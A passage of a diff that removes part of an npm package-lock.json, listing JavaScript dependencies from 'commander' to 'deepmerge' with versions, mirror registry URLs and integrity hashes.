-      "resolved": "https://registry.nlark.com/commander/download/commander-4.1.1.tgz?cache=0&sync_timestamp=1622954251160&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-4.1.1.tgz",
-      "integrity": "sha1-n9YCvZNilOnp70aj9NaWQESxgGg="
-    },
-    "common-tags": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npm.taobao.org/common-tags/download/common-tags-1.8.0.tgz",
-      "integrity": "sha1-jjFT5ULUo56bEFVENK+q+YlWqTc="
-    },
-    "commondir": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/commondir/download/commondir-1.0.1.tgz",
-      "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs="
-    },
-    "component-emitter": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npm.taobao.org/component-emitter/download/component-emitter-1.3.0.tgz",
-      "integrity": "sha1-FuQHD7qK4ptnnyIVhT7hgasuq8A="
-    },
-    "compose-function": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npm.taobao.org/compose-function/download/compose-function-3.0.3.tgz",
-      "integrity": "sha1-ntZ18TzFRQHTCVCkhv9qe6OrGF8=",
-      "requires": {
-        "arity-n": "^1.0.4"
-      }
-    },
-    "compressible": {
-      "version": "2.0.18",
-      "resolved": "https://registry.npm.taobao.org/compressible/download/compressible-2.0.18.tgz",
-      "integrity": "sha1-r1PMprBw1MPAdQ+9dyhqbXzEb7o=",
-      "requires": {
-        "mime-db": ">= 1.43.0 < 2"
-      }
-    },
-    "compression": {
-      "version": "1.7.4",
-      "resolved": "https://registry.npm.taobao.org/compression/download/compression-1.7.4.tgz",
-      "integrity": "sha1-lVI+/xcMpXwpoMpB5v4TH0Hlu48=",
-      "requires": {
-        "accepts": "~1.3.5",
-        "bytes": "3.0.0",
-        "compressible": "~2.0.16",
-        "debug": "2.6.9",
-        "on-headers": "~1.0.2",
-        "safe-buffer": "5.1.2",
-        "vary": "~1.1.2"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "concat-map": {
-      "version": "0.0.1",
-      "resolved": "https://registry.npm.taobao.org/concat-map/download/concat-map-0.0.1.tgz",
-      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s="
-    },
-    "concat-stream": {
-      "version": "1.6.2",
-      "resolved": "https://registry.npm.taobao.org/concat-stream/download/concat-stream-1.6.2.tgz",
-      "integrity": "sha1-kEvfGUzTEi/Gdcd/xKw9T/D9GjQ=",
-      "requires": {
-        "buffer-from": "^1.0.0",
-        "inherits": "^2.0.3",
-        "readable-stream": "^2.2.2",
-        "typedarray": "^0.0.6"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "confusing-browser-globals": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npm.taobao.org/confusing-browser-globals/download/confusing-browser-globals-1.0.10.tgz",
-      "integrity": "sha1-MNHn89G4grJexJM9HRraw1PSClk="
-    },
-    "connect-history-api-fallback": {
-      "version": "1.6.0",
-      "resolved": "https://registry.npm.taobao.org/connect-history-api-fallback/download/connect-history-api-fallback-1.6.0.tgz",
-      "integrity": "sha1-izIIk1kwjRERFdgcrT/Oq4iPl7w="
-    },
-    "console-browserify": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/console-browserify/download/console-browserify-1.2.0.tgz",
-      "integrity": "sha1-ZwY871fOts9Jk6KrOlWECujEkzY="
-    },
-    "constants-browserify": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/constants-browserify/download/constants-browserify-1.0.0.tgz",
-      "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U="
-    },
-    "content-disposition": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npm.taobao.org/content-disposition/download/content-disposition-0.5.3.tgz",
-      "integrity": "sha1-4TDK9+cnkIfFYWwgB9BIVpiYT70=",
-      "requires": {
-        "safe-buffer": "5.1.2"
-      }
-    },
-    "content-type": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/content-type/download/content-type-1.0.4.tgz",
-      "integrity": "sha1-4TjMdeBAxyexlm/l5fjJruJW/js="
-    },
-    "convert-source-map": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npm.taobao.org/convert-source-map/download/convert-source-map-1.7.0.tgz",
-      "integrity": "sha1-F6LLiC1/d9NJBYXizmxSRCSjpEI=",
-      "requires": {
-        "safe-buffer": "~5.1.1"
-      }
-    },
-    "cookie": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npm.taobao.org/cookie/download/cookie-0.4.0.tgz",
-      "integrity": "sha1-vrQ35wIrO21JAZ0IhmUwPr6cFLo="
-    },
-    "cookie-signature": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npm.taobao.org/cookie-signature/download/cookie-signature-1.0.6.tgz",
-      "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
-    },
-    "copy-concurrently": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npm.taobao.org/copy-concurrently/download/copy-concurrently-1.0.5.tgz",
-      "integrity": "sha1-kilzmMrjSTf8r9bsgTnBgFHwteA=",
-      "requires": {
-        "aproba": "^1.1.1",
-        "fs-write-stream-atomic": "^1.0.8",
-        "iferr": "^0.1.5",
-        "mkdirp": "^0.5.1",
-        "rimraf": "^2.5.4",
-        "run-queue": "^1.0.0"
-      },
-      "dependencies": {
-        "rimraf": {
-          "version": "2.7.1",
-          "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz",
-          "integrity": "sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=",
-          "requires": {
-            "glob": "^7.1.3"
-          }
-        }
-      }
-    },
-    "copy-descriptor": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/copy-descriptor/download/copy-descriptor-0.1.1.tgz",
-      "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40="
-    },
-    "core-js": {
-      "version": "3.14.0",
-      "resolved": "https://registry.nlark.com/core-js/download/core-js-3.14.0.tgz?cache=0&sync_timestamp=1622879483099&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js%2Fdownload%2Fcore-js-3.14.0.tgz",
-      "integrity": "sha1-YjIrmMccwgGLAnlxppQZ4kJcKmw="
-    },
-    "core-js-compat": {
-      "version": "3.14.0",
-      "resolved": "https://registry.nlark.com/core-js-compat/download/core-js-compat-3.14.0.tgz?cache=0&sync_timestamp=1622879509086&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcore-js-compat%2Fdownload%2Fcore-js-compat-3.14.0.tgz",
-      "integrity": "sha1-tXTavykYRoHVsWNXvTPRBN89KaU=",
-      "requires": {
-        "browserslist": "^4.16.6",
-        "semver": "7.0.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.0.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-7.0.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-7.0.0.tgz",
-          "integrity": "sha1-XzyjV2HkfgWyBsba/yz4FPAxa44="
-        }
-      }
-    },
-    "core-js-pure": {
-      "version": "3.14.0",
-      "resolved": "https://registry.nlark.com/core-js-pure/download/core-js-pure-3.14.0.tgz",
-      "integrity": "sha1-crz6y6dKZf/OBL+UrpHZZugO5VM="
-    },
-    "core-util-is": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/core-util-is/download/core-util-is-1.0.2.tgz",
-      "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
-    },
-    "cosmiconfig": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-7.0.0.tgz",
-      "integrity": "sha1-75tE13OVnK5j3ezRIt4jhTtg+NM=",
-      "requires": {
-        "@types/parse-json": "^4.0.0",
-        "import-fresh": "^3.2.1",
-        "parse-json": "^5.0.0",
-        "path-type": "^4.0.0",
-        "yaml": "^1.10.0"
-      }
-    },
-    "create-ecdh": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npm.taobao.org/create-ecdh/download/create-ecdh-4.0.4.tgz",
-      "integrity": "sha1-1uf0v/pmc2CFoHYv06YyaE2rzE4=",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "elliptic": "^6.5.3"
-      },
-      "dependencies": {
-        "bn.js": {
-          "version": "4.12.0",
-          "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz",
-          "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og="
-        }
-      }
-    },
-    "create-hash": {
-      "version": "1.2.0",
-      "resolved": "https://registry.nlark.com/create-hash/download/create-hash-1.2.0.tgz",
-      "integrity": "sha1-iJB4rxGmN1a8+1m9IhmWvjqe8ZY=",
-      "requires": {
-        "cipher-base": "^1.0.1",
-        "inherits": "^2.0.1",
-        "md5.js": "^1.3.4",
-        "ripemd160": "^2.0.1",
-        "sha.js": "^2.4.0"
-      }
-    },
-    "create-hmac": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npm.taobao.org/create-hmac/download/create-hmac-1.1.7.tgz",
-      "integrity": "sha1-aRcMeLOrlXFHsriwRXLkfq0iQ/8=",
-      "requires": {
-        "cipher-base": "^1.0.3",
-        "create-hash": "^1.1.0",
-        "inherits": "^2.0.1",
-        "ripemd160": "^2.0.0",
-        "safe-buffer": "^5.0.1",
-        "sha.js": "^2.4.8"
-      }
-    },
-    "cross-spawn": {
-      "version": "6.0.5",
-      "resolved": "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-6.0.5.tgz",
-      "integrity": "sha1-Sl7Hxk364iw6FBJNus3uhG2Ay8Q=",
-      "requires": {
-        "nice-try": "^1.0.4",
-        "path-key": "^2.0.1",
-        "semver": "^5.5.0",
-        "shebang-command": "^1.2.0",
-        "which": "^1.2.9"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        }
-      }
-    },
-    "crypto-browserify": {
-      "version": "3.12.0",
-      "resolved": "https://registry.npm.taobao.org/crypto-browserify/download/crypto-browserify-3.12.0.tgz",
-      "integrity": "sha1-OWz58xN/A+S45TLFj2mCVOAPgOw=",
-      "requires": {
-        "browserify-cipher": "^1.0.0",
-        "browserify-sign": "^4.0.0",
-        "create-ecdh": "^4.0.0",
-        "create-hash": "^1.1.0",
-        "create-hmac": "^1.1.0",
-        "diffie-hellman": "^5.0.0",
-        "inherits": "^2.0.1",
-        "pbkdf2": "^3.0.3",
-        "public-encrypt": "^4.0.0",
-        "randombytes": "^2.0.0",
-        "randomfill": "^1.0.3"
-      }
-    },
-    "crypto-random-string": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/crypto-random-string/download/crypto-random-string-1.0.0.tgz?cache=0&sync_timestamp=1617610491419&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcrypto-random-string%2Fdownload%2Fcrypto-random-string-1.0.0.tgz",
-      "integrity": "sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4="
-    },
-    "css": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/css/download/css-3.0.0.tgz",
-      "integrity": "sha1-REek1Y/dAzZ8UWyp9krjZc7kql0=",
-      "requires": {
-        "inherits": "^2.0.4",
-        "source-map": "^0.6.1",
-        "source-map-resolve": "^0.6.0"
-      },
-      "dependencies": {
-        "source-map-resolve": {
-          "version": "0.6.0",
-          "resolved": "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.6.0.tgz",
-          "integrity": "sha1-PZ34fiNrU/FtAeWBUPx3EROOXtI=",
-          "requires": {
-            "atob": "^2.1.2",
-            "decode-uri-component": "^0.2.0"
-          }
-        }
-      }
-    },
-    "css-blank-pseudo": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npm.taobao.org/css-blank-pseudo/download/css-blank-pseudo-0.1.4.tgz",
-      "integrity": "sha1-3979MlS/ioICeZNnTM81SDv8s8U=",
-      "requires": {
-        "postcss": "^7.0.5"
-      }
-    },
-    "css-color-names": {
-      "version": "0.0.4",
-      "resolved": "https://registry.npm.taobao.org/css-color-names/download/css-color-names-0.0.4.tgz",
-      "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA="
-    },
-    "css-declaration-sorter": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/css-declaration-sorter/download/css-declaration-sorter-4.0.1.tgz?cache=0&sync_timestamp=1620754788631&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-declaration-sorter%2Fdownload%2Fcss-declaration-sorter-4.0.1.tgz",
-      "integrity": "sha1-wZiUD2OnbX42wecQGLABchBUyyI=",
-      "requires": {
-        "postcss": "^7.0.1",
-        "timsort": "^0.3.0"
-      }
-    },
-    "css-has-pseudo": {
-      "version": "0.10.0",
-      "resolved": "https://registry.npm.taobao.org/css-has-pseudo/download/css-has-pseudo-0.10.0.tgz",
-      "integrity": "sha1-PGQqs0yiQsWcQaEl35EFhB9pZu4=",
-      "requires": {
-        "postcss": "^7.0.6",
-        "postcss-selector-parser": "^5.0.0-rc.4"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/cssesc/download/cssesc-2.0.0.tgz",
-          "integrity": "sha1-OxO9G7HLNuG8taTc0n9UxdyzVwM="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha1-JJBENWaXsztk8aj3yAki3d7nGVw=",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "css-loader": {
-      "version": "4.3.0",
-      "resolved": "https://registry.nlark.com/css-loader/download/css-loader-4.3.0.tgz",
-      "integrity": "sha1-yIivZLKlsuhUYscsD0qFx+Lggh4=",
-      "requires": {
-        "camelcase": "^6.0.0",
-        "cssesc": "^3.0.0",
-        "icss-utils": "^4.1.1",
-        "loader-utils": "^2.0.0",
-        "postcss": "^7.0.32",
-        "postcss-modules-extract-imports": "^2.0.0",
-        "postcss-modules-local-by-default": "^3.0.3",
-        "postcss-modules-scope": "^2.2.0",
-        "postcss-modules-values": "^3.0.0",
-        "postcss-value-parser": "^4.1.0",
-        "schema-utils": "^2.7.1",
-        "semver": "^7.3.2"
-      }
-    },
-    "css-prefers-color-scheme": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npm.taobao.org/css-prefers-color-scheme/download/css-prefers-color-scheme-3.1.1.tgz",
-      "integrity": "sha1-b4MKJxQZnU8NDQu4onkW7WXP8fQ=",
-      "requires": {
-        "postcss": "^7.0.5"
-      }
-    },
-    "css-select": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/css-select/download/css-select-2.1.0.tgz?cache=0&sync_timestamp=1622994276976&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-select%2Fdownload%2Fcss-select-2.1.0.tgz",
-      "integrity": "sha1-ajRlM1ZjWTSoG6ymjQJVQyEF2+8=",
-      "requires": {
-        "boolbase": "^1.0.0",
-        "css-what": "^3.2.1",
-        "domutils": "^1.7.0",
-        "nth-check": "^1.0.2"
-      }
-    },
-    "css-select-base-adapter": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/css-select-base-adapter/download/css-select-base-adapter-0.1.1.tgz",
-      "integrity": "sha1-Oy/0lyzDYquIVhUHqVQIoUMhNdc="
-    },
-    "css-tree": {
-      "version": "1.0.0-alpha.37",
-      "resolved": "https://registry.npm.taobao.org/css-tree/download/css-tree-1.0.0-alpha.37.tgz?cache=0&sync_timestamp=1617191696722&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcss-tree%2Fdownload%2Fcss-tree-1.0.0-alpha.37.tgz",
-      "integrity": "sha1-mL69YsTB2flg7DQM+fdSLjBwmiI=",
-      "requires": {
-        "mdn-data": "2.0.4",
-        "source-map": "^0.6.1"
-      }
-    },
-    "css-what": {
-      "version": "3.4.2",
-      "resolved": "https://registry.nlark.com/css-what/download/css-what-3.4.2.tgz?cache=0&sync_timestamp=1622227499755&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcss-what%2Fdownload%2Fcss-what-3.4.2.tgz",
-      "integrity": "sha1-6nAm/LAXd+295SEk4h8yfnrpUOQ="
-    },
-    "css.escape": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npm.taobao.org/css.escape/download/css.escape-1.5.1.tgz",
-      "integrity": "sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s="
-    },
-    "cssdb": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npm.taobao.org/cssdb/download/cssdb-4.4.0.tgz",
-      "integrity": "sha1-O/LypowQ9cagir2SN4Mx7oA83bA="
-    },
-    "cssesc": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/cssesc/download/cssesc-3.0.0.tgz",
-      "integrity": "sha1-N3QZGZA7hoVl4cCep0dEXNGJg+4="
-    },
-    "cssnano": {
-      "version": "4.1.11",
-      "resolved": "https://registry.nlark.com/cssnano/download/cssnano-4.1.11.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcssnano%2Fdownload%2Fcssnano-4.1.11.tgz",
-      "integrity": "sha1-x7X1uB2iacsf2YLLlgwSAJEMmpk=",
-      "requires": {
-        "cosmiconfig": "^5.0.0",
-        "cssnano-preset-default": "^4.0.8",
-        "is-resolvable": "^1.0.0",
-        "postcss": "^7.0.0"
-      },
-      "dependencies": {
-        "cosmiconfig": {
-          "version": "5.2.1",
-          "resolved": "https://registry.npm.taobao.org/cosmiconfig/download/cosmiconfig-5.2.1.tgz",
-          "integrity": "sha1-BA9yaAnFked6F8CjYmykW08Wixo=",
-          "requires": {
-            "import-fresh": "^2.0.0",
-            "is-directory": "^0.3.1",
-            "js-yaml": "^3.13.1",
-            "parse-json": "^4.0.0"
-          }
-        },
-        "import-fresh": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/import-fresh/download/import-fresh-2.0.0.tgz?cache=0&sync_timestamp=1608469532269&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-2.0.0.tgz",
-          "integrity": "sha1-2BNVwVYS04bGH53dOSLUMEgipUY=",
-          "requires": {
-            "caller-path": "^2.0.0",
-            "resolve-from": "^3.0.0"
-          }
-        },
-        "parse-json": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/parse-json/download/parse-json-4.0.0.tgz",
-          "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
-          "requires": {
-            "error-ex": "^1.3.1",
-            "json-parse-better-errors": "^1.0.1"
-          }
-        },
-        "resolve-from": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-3.0.0.tgz",
-          "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
-        }
-      }
-    },
-    "cssnano-preset-default": {
-      "version": "4.0.8",
-      "resolved": "https://registry.nlark.com/cssnano-preset-default/download/cssnano-preset-default-4.0.8.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcssnano-preset-default%2Fdownload%2Fcssnano-preset-default-4.0.8.tgz",
-      "integrity": "sha1-kgYisfwelaNOiDggPxOXpQTy0/8=",
-      "requires": {
-        "css-declaration-sorter": "^4.0.1",
-        "cssnano-util-raw-cache": "^4.0.1",
-        "postcss": "^7.0.0",
-        "postcss-calc": "^7.0.1",
-        "postcss-colormin": "^4.0.3",
-        "postcss-convert-values": "^4.0.1",
-        "postcss-discard-comments": "^4.0.2",
-        "postcss-discard-duplicates": "^4.0.2",
-        "postcss-discard-empty": "^4.0.1",
-        "postcss-discard-overridden": "^4.0.1",
-        "postcss-merge-longhand": "^4.0.11",
-        "postcss-merge-rules": "^4.0.3",
-        "postcss-minify-font-values": "^4.0.2",
-        "postcss-minify-gradients": "^4.0.2",
-        "postcss-minify-params": "^4.0.2",
-        "postcss-minify-selectors": "^4.0.2",
-        "postcss-normalize-charset": "^4.0.1",
-        "postcss-normalize-display-values": "^4.0.2",
-        "postcss-normalize-positions": "^4.0.2",
-        "postcss-normalize-repeat-style": "^4.0.2",
-        "postcss-normalize-string": "^4.0.2",
-        "postcss-normalize-timing-functions": "^4.0.2",
-        "postcss-normalize-unicode": "^4.0.1",
-        "postcss-normalize-url": "^4.0.1",
-        "postcss-normalize-whitespace": "^4.0.2",
-        "postcss-ordered-values": "^4.1.2",
-        "postcss-reduce-initial": "^4.0.3",
-        "postcss-reduce-transforms": "^4.0.2",
-        "postcss-svgo": "^4.0.3",
-        "postcss-unique-selectors": "^4.0.1"
-      }
-    },
-    "cssnano-util-get-arguments": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/cssnano-util-get-arguments/download/cssnano-util-get-arguments-4.0.0.tgz",
-      "integrity": "sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8="
-    },
-    "cssnano-util-get-match": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/cssnano-util-get-match/download/cssnano-util-get-match-4.0.0.tgz",
-      "integrity": "sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0="
-    },
-    "cssnano-util-raw-cache": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npm.taobao.org/cssnano-util-raw-cache/download/cssnano-util-raw-cache-4.0.1.tgz",
-      "integrity": "sha1-sm1f1fcqEd/np4RvtMZyYPlr8oI=",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "cssnano-util-same-parent": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/cssnano-util-same-parent/download/cssnano-util-same-parent-4.0.1.tgz",
-      "integrity": "sha1-V0CC+yhZ0ttDOFWDXZqEVuoYu/M="
-    },
-    "csso": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npm.taobao.org/csso/download/csso-4.2.0.tgz",
-      "integrity": "sha1-6jpWE0bo3J9UbW/r7dUBh884lSk=",
-      "requires": {
-        "css-tree": "^1.1.2"
-      },
-      "dependencies": {
-        "css-tree": {
-          "version": "1.1.3",
-          "resolved": "https://registry.npm.taobao.org/css-tree/download/css-tree-1.1.3.tgz?cache=0&sync_timestamp=1617191696722&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcss-tree%2Fdownload%2Fcss-tree-1.1.3.tgz",
-          "integrity": "sha1-60hw+2/XcHMn7JXC/yqwm16NuR0=",
-          "requires": {
-            "mdn-data": "2.0.14",
-            "source-map": "^0.6.1"
-          }
-        },
-        "mdn-data": {
-          "version": "2.0.14",
-          "resolved": "https://registry.nlark.com/mdn-data/download/mdn-data-2.0.14.tgz",
-          "integrity": "sha1-cRP8QoGRfWPOKbQ0RvcB5owlulA="
-        }
-      }
-    },
-    "cssom": {
-      "version": "0.4.4",
-      "resolved": "https://registry.npm.taobao.org/cssom/download/cssom-0.4.4.tgz",
-      "integrity": "sha1-WmbPk9LQtmHYC/akT7ZfXC5OChA="
-    },
-    "cssstyle": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/cssstyle/download/cssstyle-2.3.0.tgz",
-      "integrity": "sha1-/2ZaDdvcMYZLCWR/NBY0Q9kLCFI=",
-      "requires": {
-        "cssom": "~0.3.6"
-      },
-      "dependencies": {
-        "cssom": {
-          "version": "0.3.8",
-          "resolved": "https://registry.npm.taobao.org/cssom/download/cssom-0.3.8.tgz",
-          "integrity": "sha1-nxJ29bK0Y/IRTT8sdSUK+MGjb0o="
-        }
-      }
-    },
-    "csstype": {
-      "version": "3.0.8",
-      "resolved": "https://registry.nlark.com/csstype/download/csstype-3.0.8.tgz",
-      "integrity": "sha1-0iZqeScp+yJ80hb7Vy9Dco4a00A="
-    },
-    "cyclist": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/cyclist/download/cyclist-1.0.1.tgz",
-      "integrity": "sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk="
-    },
-    "d": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/d/download/d-1.0.1.tgz",
-      "integrity": "sha1-hpgJU3LVjb7jRv/Qxwk/mfj561o=",
-      "requires": {
-        "es5-ext": "^0.10.50",
-        "type": "^1.0.1"
-      }
-    },
-    "damerau-levenshtein": {
-      "version": "1.0.7",
-      "resolved": "https://registry.nlark.com/damerau-levenshtein/download/damerau-levenshtein-1.0.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdamerau-levenshtein%2Fdownload%2Fdamerau-levenshtein-1.0.7.tgz",
-      "integrity": "sha1-ZDaAA1EqGmmSWTdBoJqdMag29V0="
-    },
-    "data-urls": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/data-urls/download/data-urls-2.0.0.tgz",
-      "integrity": "sha1-FWSFpyljqXD11YIar2Qr7yvy25s=",
-      "requires": {
-        "abab": "^2.0.3",
-        "whatwg-mimetype": "^2.3.0",
-        "whatwg-url": "^8.0.0"
-      }
-    },
-    "debug": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npm.taobao.org/debug/download/debug-4.3.1.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-4.3.1.tgz",
-      "integrity": "sha1-8NIpxQXgxtjEmsVT0bE9wYP2su4=",
-      "requires": {
-        "ms": "2.1.2"
-      }
-    },
-    "decamelize": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/decamelize/download/decamelize-1.2.0.tgz?cache=0&sync_timestamp=1610348670939&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdecamelize%2Fdownload%2Fdecamelize-1.2.0.tgz",
-      "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA="
-    },
-    "decimal.js": {
-      "version": "10.2.1",
-      "resolved": "https://registry.npm.taobao.org/decimal.js/download/decimal.js-10.2.1.tgz",
-      "integrity": "sha1-I4rnsPDHk9PjzqQQEIs1osAUJqM="
-    },
-    "decode-uri-component": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npm.taobao.org/decode-uri-component/download/decode-uri-component-0.2.0.tgz",
-      "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
-    },
-    "dedent": {
-      "version": "0.7.0",
-      "resolved": "https://registry.npm.taobao.org/dedent/download/dedent-0.7.0.tgz?cache=0&sync_timestamp=1608580825991&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdedent%2Fdownload%2Fdedent-0.7.0.tgz",
-      "integrity": "sha1-JJXduvbrh0q7Dhvp3yLS5aVEMmw="
-    },
-    "deep-equal": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/deep-equal/download/deep-equal-1.1.1.tgz?cache=0&sync_timestamp=1606860101281&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdeep-equal%2Fdownload%2Fdeep-equal-1.1.1.tgz",
-      "integrity": "sha1-tcmMlCzv+vfLBR4k4UNKJaLmB2o=",
-      "requires": {
-        "is-arguments": "^1.0.4",
-        "is-date-object": "^1.0.1",
-        "is-regex": "^1.0.4",
-        "object-is": "^1.0.1",
-        "object-keys": "^1.1.1",
-        "regexp.prototype.flags": "^1.2.0"
-      }
-    },
-    "deep-is": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npm.taobao.org/deep-is/download/deep-is-0.1.3.tgz",
-      "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ="
-    },
-    "deepmerge": {
-      "version": "4.2.2",
